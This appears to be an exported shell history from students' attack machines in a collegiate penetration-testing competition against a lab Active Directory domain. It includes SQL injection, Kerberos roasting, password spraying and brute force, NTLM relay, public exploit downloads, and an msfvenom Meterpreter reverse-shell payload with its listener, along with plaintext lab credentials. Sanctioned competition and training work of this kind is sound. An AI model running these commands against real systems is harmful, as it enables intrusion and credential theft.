_raw:
: 1760804071:0;sqlmap -u http://10.0.1.99/item?id=1" --batch --risk=2 --level=2 --dbs\
ls\
cd \
TABLES\
help\
--help\
-help\
cd ..\
ls\
\
\
SHOW TABLES;\
SHOW USERS;\
SHOW *;\\
?\
dbs\
help\
mysql\
show dbs


_raw: : 1760804042:0;nxc ldap 10.0.1.21 -u 'rdavis' -p 'rosdav50' --kerberoast roasted.txt


_raw: : 1760804001:0;nxc ldap 10.0.1.20 -u 'rdavis' -p 'rosdav50' --kerberoast roasted.txt


_raw: : 1760803940:0;enum4linux-ng -A 10.0.1.6 -oY rdavisDC -u rdavis -p rosdav50


_raw: : 1760803877:0;python password_generator.py hello


_raw: : 1760803872:0;curl https://github.com/SpecterOps/SharpHound/releases/tag/v2.7.2 -o sharphound


_raw: : 1760803862:0;python3 password_generator.py hello


_raw: : 1760803857:0;python3 password_generator.py ../password.txt


_raw: : 1760803813:0;gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt > gobuster


_raw: : 1760803813:0;pip install termcolor joblib scikit-learn


_raw: : 1760803802:0;systemctl restart gvmd.service  ospd-openvas.service


_raw: : 1760803791:0;systemctl restart gvm ospd-openvas.service


_raw: : 1760803761:0;systemctl status ospd-openvas.service


_raw:
curl -O https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48216.zip
ls
mv 48216.zip Downloads
ls
cd Downloads
ls
cd CVE-2020-0796-PoC-master
ls
./CVE-2020-0796.py
source bin/activate
./CVE-2020-0796.py
./CVE-2020-0796.py 10.0.1.6
nmap -p 80 rooms.allports.tours
ping rooms.allports.tours
ping BB-A173.rooms.allports.tours
curl -O exploit-db.com/raw/52330
ls
mv 52330 52330.py
./52330.py
chmod +x ./52330.py
./52330.py
cat 52330.py
curl -O https://www.exploit-db.com/raw/52330
ls
mv 52330 52330.py
chmod +x ./52330.py
./52330.py
cat ./52330.py


_raw: : 1760803735:0;greenbone-feed-sync --type GVMD_DATA


_raw: : 1760803707:0;mv lorelai.peterson.txt lpeterson


_raw: : 1760803703:0;python3 password_generator.py -h


_raw:
medusa
clear
medusa -h
clear
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz ssh://10.0.1.10
clear


_raw: : 1760803694:0;python password_generator.py -h


_raw: : 1760803690:0;mv scarlet.campbell.txt scampbell


_raw: : 1760803682:0;pip install termcolor joblib scikit-learn


_raw: : 1760803666:0;mv olivia.sanders.txt osanders


_raw: : 1760803655:0;mv sterling.rogers.txt srogers


_raw: : 1760803646:0;mv james.porter.txt jporter


_raw: : 1760803639:0;mv grace.gonzalez.txt ggonzalez1


_raw: : 1760803631:0;git clone https://github.com/str1k3r0p/password_list_generator.git


_raw: : 1760803628:0;impacket-getTGT -dc-ip 10.0.1.6 allports.local/rdavis2:rosdav50


_raw: : 1760803622:0;impacket-getTGT -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50


_raw: : 1760803614:0;git clone https://github.com/str1k3r0p/password_list_generator/blob/main/README.md


_raw:
cd Desktop
ls
cd University-Of-Florida
ls
cd cptc2026-tools
ls
cd setup
ls
sudo ./all.sh
passwd
ls
cd ..
l
ls
cd ../..
ls
asciinema rec recording


_raw: : 1760803505:0;nxc smb 10.0.1.6-21 -U usernames.txt -P password.txt


_raw:
mysql --help
impaket
impacket
responder
impacket-mssql
sudo apt install impacket
sudo apt search impacket
impacket-scripts
sudo apt install impacket-scripts
tmux new -s seshone


_raw: nmap -p 3306 --script mysql-brute 10.0.1.99


_raw: : 1760803398:0;cewl http://allports.tours > password.txt


_raw:
sudo install -m 0755 -d /etc/apt/keyrings
cat /etc/resolv.conf
/etc/hostname
sudo /etc/hostname
cat /etc/resolv.conf
/etc/hostname
sudo install -m 0755 -d /etc/apt/keyrings
cat /etc/hosts
nano /etc/hosts
sudo nano /etc/hosts
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo tee /etc/apt/keyrings/docker.asc > /dev/null\
sudo chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian bookworm stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update\
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo systemctl start docker\
sudo systemctl enable docker\
sudo systemctl status docker
docker run hello-world
ghostwriter-cli-linux
$ git clone https://github.com/GhostManager/Ghostwriter.git\
$ cd Ghostwriter\
$ ./ghostwriter-cli install
git clone https://github.com/GhostManager/Ghostwriter.git
cd Ghostwriter
./ghostwriter-cli-linux install
sudo systemctl start docker
./ghostwriter-cli-linux install
sudo systemctl start docker
sudo systemctl start docker\
sudo systemctl enable docker\
sudo systemctl status docker
./ghostwriter-cli-linux install
sudo systemctl status docker
sudo systemctl status dockerd
sudo systemctl status docker
./ghostwriter-cli-linux install
reboot
sudo reboot


_raw:
ls
cd Downloads/
ls
chmod +x Bloodhound-setup.sh
./Bloodhound-setup.sh
nmap -sV --script=vuln --open -p 445 10.0.1.6
nmap -sV --script=vuln --open -p 445 10.0.1.21
nmap -sV --script=vuln 10.0.1.21
nmap -sC -sV --script=vuln 10.0.1.21
nxc
nxc smb
mousepad hosts.txt
nxc smb hosts.txt -u '' -p ''
mkdir obsidian
ls
rm terminal_config.zsh
ls
rm Bloodhound-setup.sh
rm Windows-Setup.sh
ls
cd obsidian
ls
sudo mount -t cifs //10.0.254.204/obsidian ~/obsidian
ls
cd ..
ls
cd ..
ls
cat password.txt
mkdir obsidian
ls
cd Do
cd Downloads
ls
nxc smb hosts.txt -u 'Anonymous' -p 'Anonymous'
nxc ~/.nxc/nxc.conf
mousepad ~/.nxc/nxc.conf
ls
ftp
ftp 10.0.1.20
ftp 10.0.1.21
ls
ldapsearch -h "10.0.1.6" -x -s base namingcontexts
ldapsearch -H "ldap://10.0.1.6" -x -s base namingcontexts
ldapsearch -H "ldap://10.0.1.6" -x -b "DC=DOMAIN,DC=LOCAL"
ls
ldapsearch -H "ldap://10.0.1.6" -x -b "DC=DOMAIN,DC=LOCAL"
ldapsearch -h "10.0.1.6" -x -s base namingcontexts


_raw: : 1760803255:0;python ./exploit.py -t https://prod.allports.local -i 10.0.1.1 -p 53


_raw:
mysql -h 10.0.1.15 -u root -p
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -p
mysql -h 10.0.1.15 -u admin -p admin
mysql -h 10.0.1.15 -u root -p --skip-ssl
clear
mysql -h 10.0.1.99 -u root -p --skip-ssl
mysql -h 10.0.1.99 -u root --skip-ssl
ping admin.rooms.allports.tours
mysql -h 10.0.1.99 -u root --ssl-mode=REQUIRED -p
mysql -h 10.0.1.99 -u root -p
mysql -h 10.0.1.99 -u root -p --skip-ssl
mysql -h 10.0.1.99 -u root -p --skip-sslclear
clear
mysql -h 10.0.1.99 -u root --ssl-mode=REQUIRED -p
mysql -h 10.0.1.99 -u root -p --skip-ssl
mysql -h 10.0.1.99 -u root --initialize-insecure --skip-ssl
sudo apt update && sudo apt upgrade -y
clear
mysql -h 10.0.1.99 -u root --initialize-insecure --skip-ssl
python3 /opt/PrivilegeEscalation/ActiveDirectory/enumeration/kerbrute.py userenum --dc 10.0.1.6 -d allports.local /path/to/userlist.txt
clear
python3 /opt/PrivilegeEscalation/ActiveDirectory/enumeration/kerbrute.py userenum --dc 10.0.1.6 -d allports.local /path/to/userlist.txt
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"
GetUserSPNs.py allports.local/<username> -dc-ip 10.0.1.6 -request
GetUserSPNs.py allports.local/finn -dc-ip 10.0.1.6 -request
clear
[200~wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64~
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
./kerbrute_linux_amd64
python3 /opt/PrivilegeEscalation/ActiveDirectory/enumeration/kerbrute.py userenum --dc 10.0.1.6 -d allports.local /path/to/userlist.txt
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectclass=person)" sAMAccountName
sudo apt install python3-impacket
/opt/impacket/examples/
cd /opt/impacket/examples/
find / -name "GetUserSPNs.py" 2>/dev/null
nano ~/.bashrc
source ~/.bashrc
clear
GetUserSPNs.py
clear


_raw: : 1760803143:0;impacket-GetNPUsers allports.local/ -usersfile usernames.txt  -dc-ip 10.0.1.6 -request


_raw: : 1760803132:0;sudo apt install python3-pycryptodome


_raw: : 1760803123:0;sudo systemctl start gvmd


_raw:
gvm-start
sudo gvm-start
systemctl status gvmd.service
start gvm-start
sudo systemctl enable gvmd.service
start gvm-start
sudo gvm-start
sudo cat /var/log/gvm/gvmd.log
journalctl -seu gvmd.service
journalctl -xeu gvmd.service
sudo journalctl -xeu gvmd.service
gvm setup
gvm-setup
sudo gvm-setup
gvm-check-setup
sudo gvm-check-setup
gvm-start
sudo gvm-start
sudo gvmd --user=admin --new-password=admin;
sudo gvmd --user=admin --new-password=admi
ifconfig
vi /etc/default/greenbone-security-assistant
sudo vi /etc/default/greenbone-security-assistant
cd /lib/systemd/system
sed -e 's/127.0.0.1/0.0.0.0/g' greenbone-security-assistant.service openvas-manager.service openvas-scanner.service
sudo sed -e 's/127.0.0.1/0.0.0.0/g' greenbone-security-assistant.service openvas-manager.service openvas-scanner.service
sudo sed -e 's/127.0.0.1/0.0.0.0/g' greenbone-security-assistant.service openvas-manager.service openvas-scanner.service -i
systemctl daemon-reload
systemctl restart greenbone-security-assistant.service openvas-manager.service openvas-scanner.service
sudo systemctl restart greenbone-security-assistant.service openvas-manager.service openvas-scanner.service


_raw: : 1760803073:0;sudo apt install python3.13-dev


_raw: : 1760803049:0;sudo apt install python3.13-full


_raw: : 1760803044:0;ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6:3268 "(objectClass=user)" sAMAccountName


_raw: : 1760803041:0;impacket-GetNPUsers allports.local/usernames.txt  -dc-ip 10.0.1.6 -request


_raw:
clear
medusa
clear
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz -M SSH
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh
clear
medusa -h 10.0.1.10 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh
clear
dig
dig prod.allports.local
medusa -h 10.0.1.10 -u admin -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10


_raw: : 1760802960:0;msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.0.254.205; set lport 4444; exploit"


_raw: : 1760802935:0;chmod +x password_generator.py


_raw: : 1760802928:0;ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6:389 "(objectClass=user)" sAMAccountName


_raw: : 1760802878:0;git clone https://github.com/str1k3r0p/password_list_generator.git


_raw: : 1760802862:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 LPORT=4444 -f exe -o reverse.exe


_raw: : 1760802855:0;ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6:389 "(objectClass=user)" sAMAccountName displayName userPrincipalName


_raw:
ls
cp password.txt Desktop
clear
ls
c;ear
clear
ls
clear
git clone https://github.com/nationalcptc-teamtools/The-University-Of-Texas-at-San-Antonio.git
clear
ls
cleare
cleaer
clear
ls
clear
ls
cd The-University-Of-Texas-at-San-Antonio
zhsh
zhs
zsh


_raw:
clear
sudo apt update && sudo apt install samba -y
clear
sudo apt update && sudo apt install samba -y
clear
sudo nano /etc/samba/smb.conf
clear
sudo smbpasswd -a kali
clear
sudo chown -R 0777 ~/Desktop
clear
ls
clear
~
clear
ls
cd Desktop
ls
mkdir vualt
rm vualt
rm -r vualt
clear
mkdir vault
sudo chown -R 0777 ~/Desktop
sudo chown -R 0777 Desktop
clear
sudo chown -R 0777 vault
whoami
c,ear
clear
sudo systemctl restart smbd nmbd
ls
clea
rls
clear
ls /etc/hosts
cat /etc/hosts
sudo nano /etc/hosts
clear
sudo systemctl restart smbd nmbd
cleear\\
\\
clear
smb -L -N \\10.0.254.204\vault
smbclient -L -N \\10.0.254.204\vault
clear
sudo mkdir -p /srv/obsidian-vault
sudo chown -R nobody:nogroup /srv/obsidian-vault
sudo chmod -R 0777 /srv/obsidian-vault
clear
sudo systemctl restart smbd nmbd
clear
sudo nano /etc/samba/smb.conf
clear
sudo systemctl restart smbd nmbd
clear
mkdir -p ~/obsidian
mount -t cifs //10.0.254.204/obsidian ~/obsidian, vers=3.0
mount -t cifs //10.0.254.204/obsidian ~/obsidian
sudo mount -t cifs //10.0.254.204/obsidian ~/obsidian
clear
ls
ls ~/obsidian
cp -r vault /srv/obsidian-vault
clear
ls
ls ~/obsidian
ls ~/obsidian/vault
clear
lsblk
sudo mount -t cifs //10.0.254.204/obsidian ~/obsidian
clea
clear
ls
clear
ls
ls vault
clear
cd /srv/obsidian-vault
clear
ls
clear
ls
ls vault
clear
ufw
clear
systemctl status smbd
sudo systemctl enable --now smbd
clear
ls
clear
systemctl status smbd
clear
systemctl status smbd
clear
systemctl status smbd
clear


_raw: : 1760802807:0;ldapsearch -x -h 10.0.1.6 -p 389 -b "dc=allports,dc=local" "(objectClass=user)" sAMAccountName


_raw: : 1760802766:0;nmap -sV -p 389,636 --script ldap-rootdse,ldap-search -oN nmap-ldap.txt 10.0.1.6 -v


_raw: : 1760802763:0;nmap -sV -p 389,636 --script ldap-rootdse,ldap-search -oN nmap-ldap.txt 10.0.1.6


_raw: : 1760802741:0;curl bb-a173.rooms.allports.tours/api/admin/announcement -X PUT


_raw: : 1760802737:0;curl bb-a173.rooms.allports.tours/api/admin/announcement -X DELETE


_raw: : 1760802729:0;curl bb-a173.rooms.allports.tours/api/admin/announcement -X PATCH


_raw: : 1760802724:0;curl bb-a173.rooms.allports.tours/api/admin/announcement -X GET


_raw: : 1760802717:0;curl bb-a173.rooms.allports.tours/api/admin/announcement -X POST


_raw:
mv ~/Downloads/20251018115148_bloodhound.zip .
ls
sudo apt update && sudo apt install -y bloodhound
sudo bloodhound-setup\
sudo bloodhound-setup
sudo sudo bloodhound-setup
whoami
neo4j
sudo neo4j console
sudo bloodhound
sudo vim /etc/bhapi/bhapi.json
sudo bloodhound
sudo vim /etc/bhapi/bhapi.json
sudo bloodhound
sudo vim /etc/bhapi/bhapi.json
sudo bloodhound
suod su
sudo su


_raw:
unzip 20251018115148_bloodhound.zip
ls
rm *.zip
ls
rm *.zip
ls
rm *.json
ls


_raw:
mv ~/Downloads/20251018115148_bloodhound.zip .
ls


_raw: : 1760802708:0;bloodhound-python -u rdavis -p rosdav50 -ns 10.0.1.6 -k -c All -d allports.local --zip


_raw: : 1760802695:0;bloodhound-python -u rose.davis -p rosdav50 -ns 10.0.1.6 -k -c All -d allports.local --zip


_raw: : 1760802686:0;bloodhound-python -u rose.davis -p rosdav50 -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802683:0;git clone https://github.com/chebuya/Havoc-C2-SSRF-poc


_raw: : 1760802665:0;openssl s_client -connect 10.0.1.6:636 -showcerts\


_raw: : 1760802653:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile ~/ad_users.txt -dc-ip 10.0.1.6


_raw: : 1760802650:0;[200~openssl s_client -connect <HOST>:636 -showcerts


_raw: sudo install -m 0755 -d /etc/apt/keyrings


_raw:
gvm check-setup
gvm-check-setup
sudo gvm-check-setup
sudo gvm-start
ip a


_raw: : 1760802540:0;bloodhound-python -u bfinn -p IamTheCaptain -k -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802531:0;bloodhound-python -u jporter -p rosdav50 -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802527:0;bloodhound-python -u bailey.finn -p IamTheCaptain -k -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802521:0;gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760802505:0;./ghostwriter-cli-linux containers down


_raw: : 1760802492:0;bloodhound-python -u bailey.finn -p IamTheCaptain -k -ns 10.0.1.6 -c All -d allports.local --zip


_raw:
: 1760802489:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=example,DC=com" "(objectClass=organizationalUnit)" ou -LLL\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=example,DC=com" "(objectClass=group)" cn,member -LLL\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=example,DC=com" "(objectClass=user)" sAMAccountName,displayName,memberOf,servicePrincipalName -LLL\


_raw: : 1760802487:0;./ghostwriter-cli-linux config allowhost *


_raw:
cd ~
nmap 10.0.1.0/24
nxc smb 10.0.1.0/24
nxc smb 10.0.1.0/24 --shares
ls
git clone https://github.com/nationalcptc-teamtools/University-Of-Tulsa.git
ls University-Of-Tulsa
ls
cd University-Of-Tulsa
cd scripts
ls
./network_tools.sh
sudo ./network_tools.sh
ls


_raw: : 1760802464:0;bloodhound-python -u bailey.finn -p IamTheCaptain -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802448:0;./kerbrute bruteuser ~/passwords.txt bfinn -d allports.local --dc 10.0.1.6


_raw: : 1760802442:0;bloodhound-python -u jporter -p rosdav50 -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802431:0;./kerbrute bruteuser ~/passwords.txt dcarter -d allports.local --dc 10.0.1.6


_raw: : 1760802419:0;bloodhound-python -u james.porter -p rosdav50 -ns 10.0.1.6 -c All -d allports.local --zip


_raw: : 1760802410:0;./kerbrute bruteuser ~/passwords.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760802403:0;sudo netstat -tulpen | grep 6768


_raw: : 1760802401:0;./kerbrute bruteuser ~/passwords.txt ecarter -d prod.allports.local --dc 10.0.1.6


_raw: : 1760802367:0;ldapsearch -x -H ldap://10.0.1.6 -s base -b "" "(objectClass=*)" namingContexts -LLL\


_raw: : 1760802317:0;ffuf -c -u http://10.10.1.99/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o 10.0.1.99-ffuf.out


_raw: : 1760802304:0;impacket-getTGT -dc-ip 10.0.1.6 allports.local/james.porter:rosdav50


_raw: : 1760802303:0;ffuf -c -u http://10.10.1.99 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o 10.0.1.99-ffuf.out


_raw: : 1760802277:0;impacket-getTGT -dc-ip 10.0.1.6 allports.loca/james.porter:IamTheCaptain


_raw: : 1760802265:0;impacket-getTGT -dc-ip 10.0.1.6 allports.local/james.porter:IamTheCaptain


_raw: : 1760802262:0;sudo nmap -sV -p6768 -vv --version-intensity 9  -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760802257:0;impacket-getTGT -dc-ip 10.0.1.6 allports.local/bailey.finn:IamTheCaptain


_raw: : 1760802241:0;sudo nmap -sV -p22 -vv --version-intensity 9  -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760802171:0;sudo nmap -sV -p22,6768 -vv --version-intensity 9 --script=vulners --script-trace --max-retries 1  -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760802156:0;sudo nmap -sV -p22,6768 -vv --version-intensity 9 --script=vulners --script-trace --max-retries 1 --script-threads 40 -T4 -oN 10_version_scan 10.0.1.10


_raw:
ls
cp /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt ./
ls
vim directory-list-2.3-medium.txt
exit


_raw: : 1760802115:0;sudo nmap -sV -p22,6768 -vv --version-intensity 9 --script=vulners --script-trace -T4 -oN 10_version_scan 10.0.1.10


_raw:
nmap -sn 10.0.1.0/24
ls
nmap 10.0.1./24
nmap 10.0.1.0/24
nmap 10.0.1.0/24 -oX initialScan.xml
nmap -sn 10.0.1.0/24 -o initialScan.nmap
nmap 10.0.1.0/24 -o initialScan.nmap
nmap -sV 10.0.1.0/24 -o versionscan.nmap -oX versionScan.xml
exit


_raw: : 1760802065:0;nmap -sV -p 389,636,3268 --script ldap-rootdse,ldap-search,ldap-novell-getpass -oN nmap-ldap.txt 10.0.1.0/24 -v


_raw: : 1760802057:0;nmap -sV -p 389,636,3268 --script ldap-rootdse,ldap-search,ldap-novell-getpass -oN nmap-ldap.txt 10.0.1.0/24\


_raw: : 1760802042:0;./kerbrute bruteuser ~/passwords2.txt ecarter -d prod.allports.local --dc 10.0.1.6


_raw: : 1760802017:0;./ghostwriter-cli-linux containers up


_raw: : 1760801985:0;./ghostwriter-cli-linux containers down


_raw: : 1760801957:0;sudo nmap -sV -p22,6768 -vv --version-intensity 9 --script=vulners -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760801945:0;nxc smb 10.0.1.21 -u bailey.finn -p 'IamTheCaptain'


_raw: : 1760801940:0;pip install -r requirements.txt


_raw: : 1760801933:0;./ghostwriter-cli-linux config allowhost 10.0.254.206


_raw: : 1760801923:0;./ghostwriter-cli-linux config allowhost 10.0.254.205


_raw: : 1760801921:0;./ghostwriter-cli-linux config allowhost 10.0.254.204


_raw: : 1760801918:0;./ghostwriter-cli-linux config allowhost 10.0.254.203


_raw: : 1760801916:0;./ghostwriter-cli-linux config allowhost 10.0.254.202


_raw: : 1760801909:0;nxc smb 10.0.1.20 -u bailey.finn -p 'IamTheCaptain'


_raw: : 1760801908:0;./ghostwriter-cli-linux config allowhost 10.0.254.201


_raw: : 1760801900:0;nxc smb 10.0.1.6 -u bailey.finn -p 'IamTheCaptain'


_raw: : 1760801882:0;./kerbrute bruteuser ~/passwords2.txt ecarter -d allports.local --dc 10.0.1.21


_raw: : 1760801852:0;impacket-getTGT -dc-ip 10.0.1.6 ALLPORTS.LOCAL/bailey.finn:IamTheCaptain


_raw: : 1760801844:0;impacket-getTGT -dc-ip 10.0.1.6 PROD.ALLPORTS.LOCAL/bailey.finn:IamTheCaptain


_raw: : 1760801832:0;sudo nmap -sV -p22,6768 -vv --version-all --script=vulners -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760801827:0;impacket-getTGT -dc-ip 10.0.1.6 bailey.finn:IamTheCaptain


_raw: : 1760801815:0;impacket-getTGT -dc-ip 10.0.1.6 ALLPORTS.LOCAL/bailey.finn:IamTheCaptain


_raw: : 1760801785:0;sudo useradd -r -M -U -G sudo -s /usr/sbin/nologin gvm


_raw: : 1760801772:0;impacket-getTGT -dc-ip 10.0.1.6 -u bailey.finn -p IamTheCaptain


_raw:
ks
ls
cd Downloads
ls
cd University-Of-Florida
ls
cd cptc202
cd cptc2026-tools
ls
cd setup
ls
./all.sh
ifconfig
ls
cd ghostwriter
ls
vim ghostwriter.sh
ls
chmod +x ghostwriter.sh
./ghostwriter.sh
ls
cd ~
ls


_raw: : 1760801713:0;nxc smb -M coerce_plus --options


_raw: : 1760801686:0;journalctl -xeu gvmd.service


_raw: : 1760801670:0;sudo nmap -sV -p22,6768 --version-all --script=vulners -T4 -oN 10_version_scan 10.0.1.10


_raw: : 1760801653:0;./kerbrute bruteuser ~/passwords2.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760801639:0;nxc smb 10.0.1.6 -u bailey.finn -p 'IamTheCaptain'


_raw: : 1760801636:0;impacket-ntlmrelayx -tf smb_unsigned_ips.txt -smb2support -socks --output-file relaylog2.txt


_raw: : 1760801632:0;nxc smb 10.0.1.6 -u bfinn -p 'IamTheCaptain'


_raw: : 1760801628:0;touch ~/passwords2.txt && echo 'test' > ~/passwords2.txt


_raw: : 1760801599:0;nxc smb 10.0.1.21 -u bailey.finn -p 'IamTheCaptain'


_raw: : 1760801589:0;systemctl status ospd-openvas.service


_raw: : 1760801569:0;systemctl start ospd-openvas.service


_raw: : 1760801568:0;impacket-GetNPUsers -request -format hashcat -outputfile ASREProasttable.txt -dc-ip 10.0.1.6 'ALLPORTS.LOCAL/'


_raw: : 1760801565:0;sudo chmod 666 /var/log/gvm/openvas.log


_raw: : 1760801508:0;journalctl -xeu ospd-openvas.service


_raw: : 1760801498:0;systemctl start ospd-openvas.service


_raw: : 1760801491:0;systemctl status ospd-openvas.service


_raw: : 1760801433:0;nxc smb 10.0.1.21 -u administrator -p 'IamTheCaptain'


_raw: : 1760801424:0;nxc smb 10.0.1.20 -u administrator -p 'IamTheCaptain'


_raw: : 1760801416:0;nxc smb 10.0.1.6 -u administrator -p 'IamTheCaptain'


_raw: : 1760801385:0;nxc smb 10.0.1.6 -u administrator -p 'password'


_raw:
./terminal_config.zsh
clear
ls
clear
ls
cd ..
cd Downloads
ls
rm cacert.der
sudo su
hostname
vim /etc/hosts


_raw:
ls
clear
ls
clear
ls
clear
ls
clear
ls
clear
ls
cd Desktop
ls
vim terminal_config.zsh
chmod +x terminal_config.zsh
./terminal_config.zsh
zsh


_raw: : 1760801329:0;sudo greenbone-feed-sync --type GVMD_DATA


_raw: : 1760801315:0;./kerbrute bruteuser /usr/share/wordlists/rockyou.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760801298:0;systemctl start ospd-openvas.service


_raw: : 1760801292:0;sudo systemctl status redis-server


_raw: : 1760801285:0;sudo systemctl start redis-server


_raw: : 1760801230:0;./kerbrute bruteuser ecarter /usr/share/wordlists/rockyou.txt -d allports.local --dc 10.0.1.6


_raw:
cd ..
ls
mkdir ung_github
cd ung_github
ls
gh repo clone nationalcptc-teamtools/University-of-North-Georgia
ls
ls -la
gh repo clone nationalcptc-teamtools/University-of-North-Georgia
git clone nationalcptc-teamtools/University-of-North-Georgia
git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia#
git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia
ls
cd University-of-North-Georgia
ls
cd Useful
ls
cd ..
ls
cd scripts
ls
chmod +x starting.sh
./starting.sh -h
cat starting.sh
cd ..
ls
cd Useful
ls
unzip mindmap.zip
ls
cd mindmap
ls
clear
ls
cat Timeline.docx
clear
open Timeline.docx
ls
vim Timeline.docx


_raw: : 1760801202:0;journalctl -xeu ospd-openvas.service


_raw: : 1760801199:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760801192:0;gobuster dir -u https://10.0.1.11:80 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760801190:0;systemctl start ospd-openvas.service


_raw: : 1760801185:0;systemctl status ospd-openvas.service


_raw: : 1760801182:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760801135:0;git clone https://github.com/fazilbaig1/cve_2023_38408_scanner


_raw: : 1760801093:0;./kerbrute passwordspray ~/ad_users.txt /usr/share/wordlists/rockyou.tx -d allports.local --dc 10.0.1.6


_raw: : 1760801057:0;./kerbrute passwordspray ~/ad_users.txt /usr/share/wordlists/rockyou.txt -d allports.local --dc 10.0.1.6


_raw: : 1760801036:0;./kerbrute passwordspray ~/ad_users.txt /usr/share/wordlists/rockyou.txt -d allports.local --dc-ip 10.0.1.6


_raw: : 1760801030:0;kerbrute passwordspray ~/ad_users.txt /usr/share/wordlists/rockyou.txt -d allports.local --dc-ip 10.0.1.6


_raw: : 1760800992:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw:
cd ~
ls
mkdir hub
git clone --help
cat /usr/share/wordlists/
ls /usr/share
ls /usr/share/wordlists
git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia.git
git clone https://github.com/danielmiessler/SecLists.git
greenbone
ls
cd University-of-North-Georgia
ls
cd scripts
ls
./starting.sh 10.0.1.15
ls
chmod +x *
ls
./starting.sh 10.0.1.15


_raw: : 1760800900:0;rm -rf University-of-North-Georgia


_raw: : 1760800898:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" cn sAMAccountName -LLL -z 5\


_raw: : 1760800883:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=example,dc=com" "(objectClass=user)" cn sAMAccountName -LLL -z 5\


_raw:
ls Downloads
ls
cd Downloads
ls
chmod +x terminal_config.zsh
./terminal_config.zsh
ls
./terminal_config.zsh
cat terminal_config.zsh
zshrc
zsh
sudo vim /etc/passwd
zsh


_raw:
: 1760800846:0;ldapsearch -x -H ldap://10.0.1.6 -s base -b "" \\
  supportedSASLMechanisms namingContexts rootDomainNamingContext


_raw:
gvm-start
sudo gvm-start
sudo systemctl enable gvmd.service
sudo gvm-start
sudo systemctl restart gvmd.service


_raw: : 1760800763:0;git clone https://github.com/nationalcptc-teamtools/Tennessee-Tech-University.git


_raw:
nmap 10.0.1.0/24
nmap -sn 10.0.1.0/24
ls
cat nmap_results.txt
clear
cat nmap_results.txt
clear
cat nmap_results.txt
nmap -10.0.1.99 > nmap_results.txt
nmap 10.0.1.99 > nmap_results.txt
cat nmap
cat nmap_results.txt
sudo nano nmapper.sh
cat password.txt
sudo nano nmapper.sh
clear
./nmapper.sh
la
clear
ls
cat nmap_results
cat nmap_results.txt
cat nmap_results.txt | grep http
cat nmap_results.txt | grep 'open  http'
cat nmap_results.txt | grep -b6 'open  http'
cat nmap_results.txt | grep -b8 'open  http'
cat nmap_results.txt | grep -b10 'open  http'
cat nmap_results.txt | grep -b15 'open  http'
clear
whatweb 10.0.1.11
whatweb 10.0.1.11:80
sudo nano nmapper.sh
clear
./nmapper.sh
clear
cat nmapper.sh
clear
cat nmap_results.txt
clear
cat nmap_results.txt
clear
cd /etc/usr/share/
cd /etc/usr/
cd /etc/
ls
cd ../usr
cd share
ls
cd wordlists
clear
ls
cd dirbuster
ls
whatweb http://allports.tours/
whatweb 10.0.1.11:80\
whatweb 10.0.1.11:80
cd ../../
cd wordlists
cd SecLists/Discovery/Web-Content/
